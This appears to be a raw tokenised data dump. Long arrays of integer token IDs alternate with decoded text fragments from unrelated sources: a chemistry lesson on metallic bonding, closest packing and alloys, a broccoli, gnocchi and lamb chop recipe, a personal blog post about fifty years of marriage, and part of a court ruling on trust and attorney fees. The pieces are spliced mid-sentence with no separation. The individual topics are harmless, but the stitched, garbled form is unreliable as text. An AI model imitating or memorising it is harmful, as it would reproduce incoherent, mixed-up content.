9924, 273, 6871, 13, 342, 2710, 8322, 273, 253, 3603, 6315, 13, 50064, 13, 19695, 39534, 13, 30237, 13, 278, 10270, 67, 3354, 360, 13, 285, 20495, 251, 15, 2951, 1241, 403, 7561, 908, 275, 3652, 5140, 984, 273, 616, 4757, 13, 38576, 13, 285, 5052, 281, 30613, 15, 5595, 1781, 4980, 5289, 751, 1629, 656, 68, 1761, 398, 285, 21711, 84, 403, 4516, 407, 247, 10194, 29564, 313, 2841, 27490, 481, 187, 187, 510, 42650, 20610, 313, 42889, 1925, 253, 49878, 20610, 10, 275, 8068, 369, 2378, 253, 10086, 383, 3652, 275, 253, 1533, 285, 310, 1335, 253, 10086, 383, 275, 253, 6359, 18402, 11135, 1568, 15, 380, 897, 273, 10194, 9930, 2789, 352, 1896, 281, 1973, 38165, 13, 10046, 13, 285, 21259, 9195, 15, 187, 187, 3074, 16376, 476, 320, 581, 273, 767, 2087, 3510, 15, 496, 581, 1511, 13, 1925, 247, 749, 15016, 23924, 13, 253, 2710, 10917, 3365, 8171, 1016, 643, 275, 253, 9266, 2605, 15, 496, 1529, 1511, 13, 1925, 271, 36243, 23924, 13, 4577, 10917, 824, 347, 6315, 4944, 275, 875, 253, 4067, 10917, 275, 253, 9266, 22485, 11461, 15, 187, 187, 28274, 251, 18435, 187, 187, 34, 18719, 5533, 8687, 253, 21779, 273, 17429, 5148, 49424, 281, 247, 8704, 6150, 273, 6109, 35874, 14465, 15, 6365, 38347, 20705, 3587, 17904, 281, 3607, 824, 347, 1029, 8545, 285, 8609, 20791, 13, 4691, 282, 1430, 13, 17451, 874, 13, 285, 298, 8976, 15, 187, 187, 12442, 267, 10917, 403, 10912, 275, 3963, 13, 42062, 6127, 326, 2223, 2723, 281, 2710, 8642, 22485, 16669, 323, 28394, 15, 187, 187, 3074, 16376, 403, 24170, 273, 18494, 15, 6676, 38010, 403, 7561, 908, 984, 616, 3607, 403, 2223, 625, 4217, 323, 2176, 4893, 685, 1110, 273, 6313, 18494, 15, 187, 187, 28274, 251, 8439, 30254, 187, 187, 18658, 272, 38298, 84, 187, 187, 7371, 273, 253, 1563, 3603, 12646, 18719, 20705, 32, 187, 187, 3251, 187, 187, 23976, 187, 187, 33468, 187, 187, 7573, 187, 187, 1672, 19104, 253, 3879, 273, 14465, 275, 247, 5148, 15, 187, 187, 2347, 1057, 247, 18719, 5533, 8162, 281, 253, 8545, 20791, 273, 18494, 32, 187, 187, 2402, 253, 1264, 1846, 8642, 22485, 16669, 273, 5148, 10917, 275, 247, 9266, 15, 7918, 271, 1650, 273, 247, 18719, 3284, 326, 14666, 4219, 275, 1016, 830, 15, 187, 187, 1845, 23042, 187, 187, 4967, 403, 30283, 20642, 1308, 1522, 13, 1223, 954, 18494, 403, 4691, 282, 494, 32, 187, 187, 1276, 403, 690, 11361, 273, 970, 10194, 2581, 685, 6871, 32, 187, 187, 52, 26796, 556, 581, 35874, 6488, 591, 13112, 13, 1223, 29742, 556, 767, 15, 48243, 1880, 11914, 390, 29742, 556, 10046, 18719, 13403, 15, 1359, 513, 368, 1158, 326, 368, 812, 1071, 634, 9079, 32, 187, 187, 1276, 403, 253, 19915, 3904, 273, 247, 5148, 13112, 275, 247, 2133, 14, 34872, 23664, 2605, 285, 275, 247, 2454, 14, 34872, 23664, 2605, 32, 496, 534, 1511, 403, 253, 10917, 625, 8244, 14998, 32, 309, 6992, 1514, 310, 581, 273, 253, 12006, 383, 1929, 3603, 387, 3307, 15, 23, 305, 16, 3591, 20, 15, 496, 534, 9266, 2605, 513, 368, 1158, 3496, 29455, 310, 625, 2779, 281, 14666, 907, 32, 22052, 12457, 1795, 43363, 342, 18976, 406, 4635, 285, 24082, 448, 2695, 187, 187, 42, 806, 1160, 436, 1795, 43363, 285, 18976, 406, 4635, 11609, 247, 1643, 3618, 896, 347, 247, 3158, 2129, 6170, 8955, 285, 5608, 352, 342, 29855, 285, 247, 12364, 1754, 327, 247, 10379, 12364, 326, 309, 751, 281, 5752, 342, 1218, 6584, 10424, 15, 831, 673, 309, 38240, 253, 1795, 43363, 342, 17426, 285, 18616, 1182, 383, 13, 5608, 352, 342, 30055, 90, 18976, 406, 4635, 285, 6699, 745, 342, 247, 10412, 13746, 1020, 35855, 10379, 12364, 285, 6906, 18484, 273, 45568, 44603, 281, 1056, 352, 512, 1014, 625, 5745, 590, 15, 831, 11609, 39064, 745, 512, 253, 1841, 309, 751, 13, 247, 5878, 273, 1027, 38276, 13, 275, 681, 36730, 9075, 432, 253, 24082, 13, 247, 1175, 6654, 432, 253, 10379, 285, 253, 35855, 13, 285, 247, 6627, 272, 12717, 432, 253, 18616, 15, 309, 717, 594, 19961, 326, 309, 13, 273, 512, 952, 13, 717, 5015, 670, 288, 43545, 17114, 275, 253, 4766, 273, 15221, 285, 14354, 7238, 2952, 13, 533, 436, 310, 594, 49618, 285, 36766, 326, 309, 4571, 457, 85, 11623, 9628, 436, 13612, 342, 368, 15, 733, 457, 84, 594, 1175, 13, 309, 3524, 368, 4264, 352, 347, 1199, 347, 309, 858, 15, 187, 187, 10548, 6477, 187, 187, 28512, 253, 1795, 43363, 715, 18470, 14, 10306, 7437, 13, 13398, 342, 374, 40466, 17426, 13, 1182, 383, 432, 337, 16, 19, 18616, 285, 608, 18850, 4166, 15, 43611, 731, 562, 327, 247, 17326, 8335, 285, 47865, 342, 7043, 285, 13835, 13, 32413, 275, 253, 14195, 323, 1384, 2909, 387, 1052, 3272, 36, 15, 187, 187, 35344, 247, 1781, 1721, 273, 7043, 264, 1824, 281, 247, 22149, 15, 3452, 300, 253, 18976, 406, 4635, 1919, 597, 8253, 281, 253, 1755, 15, 38547, 253, 24082, 448, 2695, 342, 7043, 285, 13835, 13, 4250, 253, 4166, 275, 247, 37548, 285, 4417, 253, 448, 2695, 689, 1029, 4250, 323, 495, 14, 21, 2909, 327, 1016, 1930, 1919, 8516, 15, 27180, 13, 4223, 577, 13, 4072, 187, 187, 41, 1212, 1031, 18901, 2732, 32, 187, 187, 17895, 434, 4651, 285, 7477, 17019, 13719, 1107, 273, 7875, 436, 5768, 15, 1283, 13, 24724, 15, 22, 1897, 313, 9820, 13, 309, 858, 2486, 26416, 1897, 275, 326, 10272, 2698, 273, 8764, 4861, 39577, 32, 3105, 1663, 15, 187, 187, 1276, 32, 3052, 309, 1146, 247, 650, 1765, 13, 247, 45234, 382, 13, 247, 4016, 48718, 466, 32, 3052, 309, 670, 281, 2740, 253, 3668, 326, 846, 512, 841, 1107, 13, 352, 434, 689, 32, 1621, 15, 4683, 2282, 417, 15, 309, 1353, 816, 2819, 387, 34386, 1031, 18901, 2732, 432, 253, 643, 1930, 273, 253, 12142, 1388, 15, 2091, 253, 346, 1542, 1805, 390, 7197, 285, 275, 31009, 285, 1786, 3, 1663, 5108, 15, 187, 187, 42, 908, 281, 6947, 3038, 327, 253, 5254, 273, 776, 1850, 13, 1469, 949, 7512, 187, 31638, 84, 285, 22756, 12783, 273, 7968, 15, 2752, 5753, 2389, 281, 513, 253, 1072, 13, 760, 597, 5532, 949, 5865, 7963, 327, 253, 4382, 3185, 273, 46899, 949, 4370, 14, 70, 1096, 19325, 273, 45832, 518, 2929, 15, 6700, 2370, 10848, 285, 7141, 1977, 347, 187, 413, 2265, 1582, 273, 4201, 11015, 13, 50225, 13, 34778, 19055, 13, 253, 7520, 8762, 1388, 13, 187, 13238, 6681, 41103, 285, 27477, 7238, 8154, 1641, 13, 11755, 9365, 285, 564, 1171, 90, 187, 41754, 43969, 15, 401, 1951, 7270, 17053, 13, 19328, 2143, 14496, 28853, 13, 3926, 311, 272, 18740, 342, 15205, 1417, 650, 968, 13, 8290, 275, 5842, 285, 3961, 36137, 13, 6838, 9398, 2160, 968, 387, 11012, 761, 32421, 13, 11870, 4651, 7487, 9049, 5753, 5909, 10262, 762, 247, 5202, 25701, 342, 36018, 390, 27647, 15, 35540, 90, 13, 28238, 13, 29902, 90, 13, 28767, 593, 13, 25148, 13, 43051, 285, 49542, 1051, 21426, 29286, 14252, 745, 25962, 41454, 7512, 24401, 1078, 359, 1014, 3260, 752, 352, 5486, 15, 8647, 272, 19055, 13, 11038, 246, 14, 39529, 13, 34019, 8142, 7234, 313, 42, 1353, 2819, 387, 368, 17487, 3673, 3056, 285, 17489, 6616, 32622, 481, 187, 187, 2512, 403, 690, 1270, 5211, 9506, 10848, 275, 1110, 12783, 15, 41017, 247, 2257, 13, 2686, 15, 1893, 2139, 253, 1953, 1616, 846, 253, 346, 41, 1212, 1031, 18901, 2732, 16296, 380, 7692, 3548, 626, 253, 40071, 273, 253, 12616, 27, 346, 38472, 1031, 2455, 846, 3446, 733, 434, 253, 18326, 273, 253, 3000, 346, 38472, 1031, 3, 285, 346, 972, 3446, 187, 187, 18852, 642, 9331, 273, 616, 1211, 313, 4714, 13, 604, 597, 1472, 8274, 13, 322, 2277, 2025, 2894, 1410, 949, 616, 1211, 9331, 582, 1046, 1388, 3548, 626, 247, 5211, 1388, 323, 7028, 12633, 15, 13168, 309, 1928, 751, 309, 878, 247, 18155, 40833, 246, 14, 23565, 516, 25779, 342, 253, 3000, 27, 346, 42 ]	shone onto the surface of a metal, its electrons absorb small amounts of energy and become excited into one of its many empty orbitals. The electrons immediately fall back down to lower energy levels and emit light. This process is responsible for the high luster of metals (Figurebelow). The American Platinum Eagle is the official platinum bullion coin of the United States and was first minted in 1997. The luster of a metal is due to its metallic bonds. Recall that ionic compounds are very brittle. Application of a force results in like-charged ions in the crystal coming too close to one another, causing the crystal to shatter. When a force is applied to a metal, the free-flowing electrons can slip in between the stationary cations and prevent them from coming in contact. Imagine ball bearings that have been coated with oil sliding past one another. As a result, metals are very malleable and ductile. They can be hammered into shapes, rolled into thin sheets, or pulled into thin wires. Crystal Structures of Metals If you wanted to make a stack of identical spheres, you might come up with an arrangement like the one shown in Figurebelow. When identical spheres are stacked, each successive layer fits into the small spaces where different spheres come together. Closest packing minimizes the amount of empty space and is how metal atoms are arranged in a crystal. This orderly and regular arrangement of the metal balls minimizes the empty space between them. Closest packingis the most efficient way to pack spherical objects. The atoms in a metal crystal are arranged in similar patterns, called close-packed structures. Pure metals adopt one of several related close-packed structures, as shown in Figurebelow. Most pure metals naturally adopt one of these three closest packing arrangements. On the far left is the body-centered cubic (bcc) structure. In that crystal, metal atoms occupy the eight corners of a cube along with one atom in the very center. The coordination number of each atom in the body-centered cubic structure is 8. In the face-centered cubic (fcc) structure, there are eight atoms at each corner of the cube and six atoms in the center of each face. The coordination number of each atom in the face-centered cubic structure is 12. The atoms in a hexagonal close-packed (hcp) structure also have a coordination number of 12, but crystals of this type are hexagonally shaped rather than cubic. Alloys An alloyis a mixture composed of two or more elements, at least one of which is a metal. You are probably familiar with some alloys such as brass and bronze (Figurebelow). Brass is an alloy of copper and zinc. Bronze is an alloy of copper and tin. Alloys are commonly used in manufactured items because the properties of these metal mixtures are different, and sometimes more useful, than those of a pure metal. For example, bronze is harder than copper and more easily cast. Brass is very malleable, and its acoustic properties make it useful for musical instruments. Bronze, an alloy of copper and tin, has been in use since ancient times. The Bronze Age saw the increased use of metals rather than stone for weapons, tools, and decorative objects. Brass, an alloy of copper and zinc, is widely used in musical instruments like the trumpet and trombone. Steels are a very important class of alloys. The many types of steels are primarily composed of iron, with various amounts of the elements carbon, chromium, manganese, nickel, molybdenum, and boron. Steels are widely used in building construction because of their strength, hardness, and resistance to corrosion. Most large modern structures like skyscrapers and stadiums are supported by a steel skeleton (Figurebelow). The Willis Tower (formerly called the Sears Tower) in Chicago was once the tallest building in the world and is still the tallest in the Western Hemisphere. The use of steel columns makes it possible to build taller, stronger, and lighter buildings. Alloys can be one of two general types. In one type, called a substitutional alloy, the various atoms simply replace each other in the crystal structure. In another type, called an interstitial alloy, smaller atoms such as carbon fit in between the larger atoms in the crystal packing arrangement. Lesson Summary A metallic bond involves the attraction of stationary metal cations to a surrounding sea of mobile valence electrons. Metallic bonding directly contributes to properties such as high electrical and thermal conductivity, malleability, ductility, and luster. Metal atoms are arranged in regular, orderly patterns that often correspond to various closest packing arrangements for spheres. Alloys are mixtures of metals. Many alloys are widely used because their properties are often more useful for certain applications than those of pure metals. Lesson Review Questions Reviewing Concepts Which of the following elements displays metallic bonding? Se Ti Ru Te Explain the behavior of electrons in a metal. How does a metallic bond contribute to the electrical conductivity of metals? Name the three common closest packing arrangements of metal atoms in a crystal. Give an example of a metallic element that crystallizes in each form. Problems Why are ionic crystals brittle, while most metals are malleable? What are some advantages of using steel rather than iron? Sodium has one valence electron per atom, while magnesium has two. Predict whether sodium or magnesium has stronger metallic bonds. How do you think that you could test your hypothesis? What are the coordination numbers of a metal atom in a body-centered cubic structure and in a face-centered cubic structure? In which type are the atoms more closely packed? Iridium is one of the densest known elements at 22.6 g/cm3. In which crystal structure do you think iridium is more likely to crystallize?Roasted broccoli with gnocchi and lamb chops I first made this broccoli and gnocchi dish a few weeks back as a quick weeknight dinner and served it with bacon and a sauce based on a butter sauce that I like to serve with ravioli. This time I roasted the broccoli with garlic and lemon zest, served it with pillowy gnocchi and finished off with a crazy flavorful sage butter sauce and thin slices of chili flakes to make it all even more savory. This dish ticks off all the things I like, a mix of different textures, incomparable taste from the lamb, a good balance from the butter and the sage, and a brighting tang from the lemon. I am so shocked that I, of all people, am talking about harty dishes in the middle of cake and chocolate egg season, but this is so hearty and tasty that I couldn’t resist sharing this recipe with you. It’s so good, I hope you enjoy it as much as I did. Instructions Cut the broccoli into bite-sized pieces, combine with 2 cloves garlic, zest from 1/2 lemon and 5 tablespoons oil. Spread them out on a baking sheet and sprinkle with salt and pepper, bake in the oven for 20 minutes at 200°C. Bring a large pot of salted water to a boil. Boil the gnocchi until they float to the top.Season the lamb chops with salt and pepper, heat the oil in a skillet and cook the chops over high heat for 3-4 minutes on each side until brown.Sunday, August 4, 2013 Happily Ever After? Rob's parents and mine celebrate fifty years of marriage this summer. 18,262.5 days (yes, I did include leap days in that calculation.) of wedded bliss? Not really. What? Am I being a grump, a pessimist, a negative Nellie? Am I about to break the news that after all these years, it's over? No. Of course not. I'm just looking at Happily Ever After from the other side of the wedding day. When the "for better or worse and in sickness and health" really happen. I used to spend hours on the floor of our den, going through photo albums and shoe boxes of pictures. My kids love to do the same, only they click through digital photos on the computer instead of flipping through dog-eared squares of Kodak paper. Memories captured and stored away as keepsakes of birthdays, weddings, camping trips, the rare snow day, Christmas mornings and Easter egg hunts, funny faces and goofy haircuts. Faces caught laughing, awkward school snapshots, drooling babies with toothless grins, boys in football and band uniforms, girls wearing sequins at dance recitals, tired parents watching excited kids opening presents under a tree decorated with homemade ornaments. Dusty, Spot, Nicey, Sundance, Diamond, Homer and Duchess... beloved pets pulling off unintentional photo bombs before we even knew what it meant. Camping trips, matching t-shirts, embarrassing fashion statements (I'm looking at you bell bottoms and mesh muscle shirts). There are some great happy moments captured in those boxes. Quite a lot, actually. So why the question mark after the "Happily Ever After"? The rub isn't the totality of the phrase: "happily ever after". It's the proximity of the words "happily" and "ever". Through no fault of their own (well, if they're honest, SOMETIMES through their own fault), every day isn't a happy day for married folks. Sometimes I feel like I need a souvenir t-shirt imprinted with the words: "I
[ 253, 2020, 273, 370, 38678, 534, 369, 4136, 323, 9826, 285, 15423, 3238, 273, 253, 6834, 275, 4602, 342, 253, 25702, 2395, 15, 733, 2550, 320, 3413, 432, 253, 1340, 849, 1199, 273, 253, 370, 38678, 369, 4136, 323, 824, 15423, 8128, 15, 3932, 370, 8970, 369, 2546, 407, 253, 6834, 347, 9826, 8128, 275, 253, 2030, 394, 2395, 13, 352, 310, 281, 320, 8025, 326, 253, 9826, 8128, 4136, 323, 521, 3238, 275, 253, 25702, 2395, 651, 320, 247, 2074, 2408, 285, 3103, 253, 2201, 629, 273, 253, 370, 38678, 369, 4136, 323, 15423, 8128, 15, 187, 380, 1340, 25091, 3268, 273, 253, 4517, 2867, 13, 285, 253, 1340, 6941, 253, 23052, 370, 25452, 15, 1857, 347, 247, 3268, 9801, 13, 403, 13891, 15, 380, 1340, 6941, 370, 38678, 281, 253, 6834, 323, 9826, 285, 15423, 8128, 310, 13891, 37900, 347, 352, 3797, 271, 32301, 323, 15423, 8128, 15, 187, 1608, 2966, 13, 367, 15, 500, 904, 285, 4009, 14906, 13, 500, 904, 15038, 433, 15, 187, 24963, 187, 60, 4174, 15, 337, 62, 50276, 18, 15, 5238, 26780, 273, 253, 27849, 366, 6307, 3400, 27, 346, 2042, 253, 35666, 6505, 6747, 22333, 4543, 2523, 13, 285, 253, 8304, 390, 667, 5110, 10445, 369, 4858, 2867, 273, 247, 3786, 24332, 22333, 13, 285, 2210, 281, 253, 35666, 432, 824, 22333, 407, 9140, 3346, 824, 2867, 4566, 275, 4503, 10764, 281, 253, 2151, 273, 253, 24332, 22333, 15, 29001, 187, 1552, 310, 271, 3565, 15687, 432, 7967, 20047, 15648, 281, 1339, 368, 871, 326, 275, 816, 2145, 1897, 13, 253, 35310, 3565, 1984, 670, 399, 10650, 35, 2696, 13, 773, 1328, 330, 482, 1916, 9384, 668, 588, 320, 16116, 4657, 30058, 313, 17277, 22900, 13, 378, 6609, 13, 9405, 308, 6361, 13, 10550, 13, 49234, 285, 1142, 2571, 481, 187, 187, 2042, 368, 457, 250, 1512, 22658, 390, 476, 457, 85, 1056, 352, 281, 581, 273, 841, 23812, 368, 476, 1900, 1340, 3909, 3587, 432, 7967, 55, 249, 48081, 15, 681, 15, 187, 187, 510, 1984, 310, 247, 7512, 19718, 17412, 432, 3055, 285, 3367, 18406, 432, 3858, 285, 2021, 347, 973, 347, 35103, 432, 690, 273, 253, 1533, 457, 84, 1682, 38676, 2112, 342, 253, 6281, 3212, 253, 7963, 15, 187, 187, 9917, 2908, 310, 247, 17265, 2715, 273, 399, 553, 4694, 327, 17509, 326, 1024, 3797, 690, 1620, 1078, 2326, 17301, 29205, 1160, 407, 399, 553, 2, 187, 187, 1992, 8027, 253, 3727, 273, 253, 1984, 13, 657, 49417, 5171, 588, 320, 2509, 247, 1984, 15428, 4892, 387, 253, 1563, 8238, 27, 187, 187, 883, 16, 1093, 1108, 11366, 9384, 45013, 313, 40939, 253, 25961, 10, 15878, 18088, 13, 24671, 187, 187, 883, 16, 746, 1108, 9567, 22900, 313, 12428, 285, 673, 308, 6327, 10, 8742, 9757, 13, 6582, 187, 187, 883, 16, 1797, 1108, 9567, 22900, 313, 12428, 285, 673, 308, 6327, 10, 16700, 13, 19685, 187, 187, 883, 16, 1423, 1108, 9567, 22900, 313, 12428, 285, 673, 308, 6327, 10, 32880, 13, 10310, 187, 187, 9063, 896, 323, 625, 1491, 327, 3242, 8593, 285, 2069, 15, 831, 1984, 2007, 25097, 399, 553, 22738, 457, 84, 25893, 3708, 347, 581, 273, 253, 954, 3076, 718, 5561, 398, 2455, 2, 844, 3524, 281, 923, 368, 512, 627, 2, 187, 187, 22832, 5561, 398, 3915, 11147, 43360, 52, 452, 816, 644, 6138, 347, 253, 2022, 1329, 281, 13242, 8100, 3915, 11147, 5642, 8015, 58, 327, 616, 5591, 4892, 1735, 1770, 4672, 187, 187, 26747, 327, 253, 3971, 342, 48739, 466, 1481, 67, 11207, 49847, 35, 11862, 6603, 13, 253, 6068, 588, 760, 452, 247, 3618, 1551, 1078, 16116, 253, 3971, 2378, 625, 19639, 2369, 1551, 323, 253, 10369, 5561, 249, 457, 2, 187, 187, 1147, 556, 644, 271, 14331, 807, 273, 26751, 323, 253, 14963, 38778, 1108, 616, 11386, 3727, 13, 253, 2802, 44441, 380, 45165, 457, 16602, 13, 4211, 562, 1561, 3038, 273, 1469, 327, 7289, 285, 4352, 253, 5591, 9384, 28525, 387, 1180, 374, 15, 380, 3961, 4546, 19725, 13645, 5239, 387, 436, 807, 457, 84, 21578, 285, 41910, 273, 411, 429, 43149, 25786, 285, 3912, 433, 342, 22484, 14763, 3555, 14930, 15, 7160, 11386, 5400, 369, 4439, 275, 4163, 281, 4619, 285, 6264, 2323, 15, 1244, 281, 1755, 352, 512, 13, 597, 2959, 40229, 41487, 323, 253, 4695, 27015, 9384, 20308, 18165, 313, 17277, 1457, 16804, 285, 33500, 4683, 380, 10519, 25246, 187, 187, 688, 247, 5311, 9269, 327, 44892, 8359, 251, 457, 84, 619, 5641, 3239, 18879, 15382, 7054, 14469, 27, 19121, 46753, 253, 3961, 6138, 597, 574, 39301, 4088, 342, 17898, 382, 35382, 17966, 15, 4794, 281, 253, 3961, 13, 597, 574, 281, 14002, 767, 3618, 4409, 273, 12282, 984, 17966, 369, 1907, 13386, 3237, 533, 3185, 273, 1563, 521, 7345, 457, 84, 7535, 285, 18180, 521, 13386, 17966, 4821, 5931, 10470, 13, 1060, 310, 247, 14430, 432, 253, 3961, 773, 13618, 8231, 247, 659, 4614, 400, 26548, 1066, 35382, 457, 84, 13386, 13, 533, 253, 6612, 310, 326, 344, 26574, 352, 751, 247, 7154, 43392, 29203, 47121, 15, 733, 310, 1077, 2834, 281, 6558, 247, 26565, 36467, 10130, 1223, 5931, 10470, 15, 18365, 187, 187, 510, 3961, 3597, 281, 873, 17966, 598, 342, 247, 19616, 281, 1056, 2119, 3253, 369, 10826, 342, 521, 13386, 1078, 4983, 253, 4892, 896, 598, 15, 17966, 8505, 24294, 745, 521, 11526, 14286, 13, 840, 6331, 26728, 342, 253, 3961, 17965, 15, 6610, 846, 767, 3618, 273, 2820, 281, 1056, 3057, 342, 779, 13, 17966, 18203, 253, 3961, 457, 84, 7205, 285, 2556, 281, 253, 3961, 17966, 753, 253, 1563, 1309, 247, 1384, 7017, 7827, 773, 53, 3385, 261, 4767, 326, 604, 359, 4571, 457, 85, 2096, 326, 344, 3058, 436, 673, 281, 2994, 13, 840, 344, 1904, 457, 85, 971, 281, 320, 275, 247, 3961, 342, 441, 10542, 15, 754, 19375, 670, 1146, 762, 21470, 285, 689, 45260, 313, 664, 512, 1056, 253, 1072, 2181, 285, 359, 512, 789, 347, 1892, 347, 344, 1057, 481, 754, 753, 326, 344, 1904, 457, 85, 971, 281, 1132, 253, 1982, 10542, 285, 326, 344, 369, 762, 14, 1212, 2845, 4215, 15, 754, 19375, 670, 4882, 253, 1072, 9575, 275, 253, 1072, 15918, 1425, 187, 187, 5622, 527, 8359, 251, 3597, 281, 1978, 616, 4892, 327, 10130, 407, 2970, 11007, 1608, 2966, 13, 1421, 16057, 323, 914, 1245, 15977, 13, 281, 7522, 275, 323, 17966, 13, 533, 352, 8058, 281, 320, 271, 7479, 4836, 323, 1608, 2966, 281, 3037, 253, 3961, 457, 84, 4498, 275, 247, 11019, 767, 1897, 15, 4794, 281, 253, 3961, 773, 1231, 403, 14002, 272, 253, 4892, 30227, 285, 588, 1024, 1265, 281, 42553, 776, 1039, 562, 273, 436, 14779, 4840, 15, 844, 588, 452, 625, 3668, 670, 752, 776, 5827, 403, 8664, 253, 2852, 436, 2129, 15, 844, 457, 250, 7016, 323, 253, 13775, 13, 253, 3076, 362, 487, 265, 13, 253, 14562, 285, 253, 1339, 3487, 84, 15, 844, 2096, 253, 27531, 285, 12700, 326, 368, 1928, 4404, 441, 15, 844, 403, 11790, 285, 19271, 1512, 15, 844, 4388, 281, 1056, 352, 598, 281, 368, 3517, 49168, 1231, 457, 250, 1469, 327, 247, 9455, 285, 359, 457, 620, 3324, 368, 896, 1633, 1270, 18780, 1425, 187, 187, 1909, 1900, 627, 403, 767, 7123, 281, 1046, 2926, 285, 436, 310, 253, 3961, 457, 84, 2715, 15, 1707, 310, 642, 3159, 347, 2568, 604, 35382, 17966, 588, 320, 2403, 247, 3908, 9628, 521, 1930, 273, 253, 2926, 15, 1422, 476, 1239, 253, 2862, 5311, 407, 12669, 562, 44892, 8359, 251, 457, 84, 619, 5641, 3239, 15, 187, 187, 688, 2914, 273, 247, 5350, 9539, 387, 253, 1533, 14, 71, 14919, 1536, 1886, 90, 329, 14, 6826, 14, 6826, 13, 3426, 342, 3440, 4491, 23592, 358, 7380, 13, 443, 36567, 5197, 285, 353, 45403, 53, 29587, 6246, 127, 239, 38, 4236, 3003, 12226, 1267, 16197, 40, 1719, 432, 8068, 13, 11545, 347, 253, 13688, 273, 443, 36567, 5197, 1623, 14, 30635, 1390, 2360, 15, 187, 187, 5279, 253, 2469, 4314, 3618, 13, 10604, 2439, 253, 1986, 2077, 9262, 616, 3440, 387, 24320, 825, 22328, 15, 681, 15, 4325, 2810, 281, 854, 13, 933, 35103, 13, 1884, 10020, 14, 13017, 1346, 497, 4236, 13, 534, 497, 840, 34774, 1066, 281, 253, 2800, 1755, 3807, 2865, 3111, 10604, 275, 253, 2586, 13, 342, 3003, 12226, 1267, 16197, 40, 1719, 27274, 347, 253, 581, 3961, 6777, 323, 253, 12553, 13, 5249, 30897, 5107, 1905, 253, 4839, 281, 1527, 327, 4892, 323, 5561, 27559, 353, 45403, 53, 29587, 6246, 127, 239, 38, 15, 187, 187, 688, 1635, 281, 253, 15239, 327, 353, 45403, 53, 29587, 6246, 127, 239, 38, 8924, 84, 4748, 773, 41676, 84, 4683, 8742, 9757, 668, 530, 15, 52, 15, 4892, 313, 24275, 281, 320, 6138, 327, 6794, 13, 4596, 1638, 582, 3003, 12226, 1267, 16197, 40, 1719, 671, 3936, 1728, 370, 1099, 13, 933, 7942, 13, 370, 938, 13, 933, 275, 11855, 747, 12317, 432, 29215, 443, 2338, 1032, 13, 4323, 432, 49211, 5720, 23890, 13, 285, 247, 7663, 2968, 432, 49075, 20400, 11412, 15, 496, 2032, 6246, 127, 239, 38, 8142, 13, 3003, 12226, 1267, 16197, 40, 1719, 671, 1119, 562, 326, 616, 5249, 310, 12832, 1469, 432, 773, 17, 668, 281, 773, 1549, 668, 13463, 285, 588, 320, 5909, 323, 253, 32566, 5561, 398, 387, 253, 14759, 42745, 12044, 275, 8742, 9757, 436, 6794, 13, 4596, 1638, 15, 380, 3961, 588, 1924, 697, 806, 2014, 4745, 15, 733, 588, 320, 2130, 347, 247, 5542, 327, 329, 3271, 327, 4596, 2164, 285, 347, 247, 6184, 327, 33139, 407, 4596, 2030, 15, 187, 187, 40, 36567, 5197, 1623, 14, 30635, 310, 247, 22564, 5147, 323, 1963, 1037, 660, 20309, 285, 25251, 15146, 13, 10698, 10846, 275, 253, 3440, 4491, 15, 380, 2800, 2457, 10604, 1016, 2684, 1264, 9575, 3153, 323, 616, 2442, 4892, 41730, 285, 9022, 641, 13, 353, 45403, 53, 29587, 6246, 127, 239, 38, 15, 1723, 13, 352, 369, 3003, 12226, 1267, 16197, 40, 1719, 326, 7777, 26044, 253, 2360, 15, 187, 187, 1628, 510, 4583, 12816, 285, 2341, 273, 3003, 12226, 1267, 16197, 40, 1719, 49634, 776, 12656, 1806, 753, 353, 45403, 53, 29587, 6246, 127, 239, 38, 8924, 84, 42135, 26298, 15, 773, 46, 45403, 53, 29587, 6246, 127, 239, 38, 310, 9049, 281, 1509, 253, 30162, 327, 281, 841, 8644, 20230, 13, 816, 347, 31683, 3847, 858, 323, 441, 689, 2030, 1107, 3622, 1425, 187, 187, 27315, 266, 388, 1432, 12987, 13, 9463, 49, 285, 9060, 25694, 12743, 323, 443, 36567, 5197, 4879, 13, 773, 1231, 403, 30607, 342, 253, 6454, 273, 253, 11386, 273, 253, 443, 36567, 5197, 1623, 14, 30635, 15952, 15, 380, 4737, 310, 275, 253, 2408, 273, 7458, 285, 10604, 326, 2692, 616, 1329, 327, 253, 24320, 825, 22328, 15, 681, 2670, 1905, 342, 689, 6783, 13, 933, 4451, 12942, 591, 1770, 15, 3105, 760, 369, 436, 776, 954, 24683, 2086, 281, 3522, 13, 533, 671, 594, 34873, 281, 2085, 247, 5147, 326, 41217, 598, 285, 3551, 10604, 432, 2439, 253, 5674, 13, 285, 1024, 323, 3003, 12226, 1267, 16197, 40, 1719, 15, 1623, 14, 30635, 10880, 247, 2201, 41457, 275, 443, 36567, 5197, 8924, 84, 2892, 323, 8109, 29781, 4261, 10846, 1425, 187, 187, 1628, 4509, 253, 5203, 285, 4323, 8668, 1806, 753, 14272, 611, 729, 317, 13, 11731, 285, 401, 10117, 273, 49211, 5720, 23890, 285, 49075, 20400, 11412, 13, 773, 1231, 403, 2819, 3579, 281, 8109, 3003, 12226, 1267, 16197, 40, 1719, 13, 285, 3192, 253, 1735, 5018, 281, 2007, 8027, 616, 5249, 285, 1329, 731, 342, 16694, 9137, 13, 5553, 14892, 13, 1345, 2493, 285, 273, 2282, 13828, 731, 323, 253, 4892, 273, 616, 4852, 1905, 342, 353, 45403, 53, 29587, 6246, 127, 239, 38, 11602, 187, 187, 1779, 324, 37738, 13, 1421, 16057, 273, 3003, 12226, 1267, 16197, 40, 1719, 13, 753, 13, 773, 40, 36567, 5197, 1623, 14, 30635, 556, 644, 271, 8644, 9455, 594, 2080, 285, 359, 403, 816, 2970, 3053, 15, 733, 310, 1892, 281, 15909, 987, 1024, 13, 533, 359, 871, 776, 4852, 403, 1469, 281, 4336, 1818, 15, 3954, 359, 403, 4704, 281, 1691, 327, 247, 17830, 3153, 921, 285, 403, 4704, 281, 5561, 387, 253, 14759, 42745, 12044, 1425, 187, 187, 8693, 2360, 13, 27238, 1535, 3938, 6138, 326, 1594, 46, 3156, 380, 378, 2153, 472, 310, 1469, 281, 320, 5176, 745, 273, 253, 1594, 46, 13951 ]	the sum of $950 which was allowed for ordinary and extraordinary services of the attorney in connection with the supplemental account. It cannot be determined from the order how much of the $950 was allowed for such extraordinary fees. Since $150 was asked by the attorney as ordinary fees in the 25th account, it is to be assumed that the ordinary fees allowed for his services in the supplemental account would be a similar amount and therefore the major part of the $950 was allowed for extraordinary fees. The order directing distribution of the trust property, and the order allowing the trustee $888.45 as a distribution fee, are reversed. The order allowing $950 to the attorney for ordinary and extraordinary fees is reversed insofar as it includes an allowance for 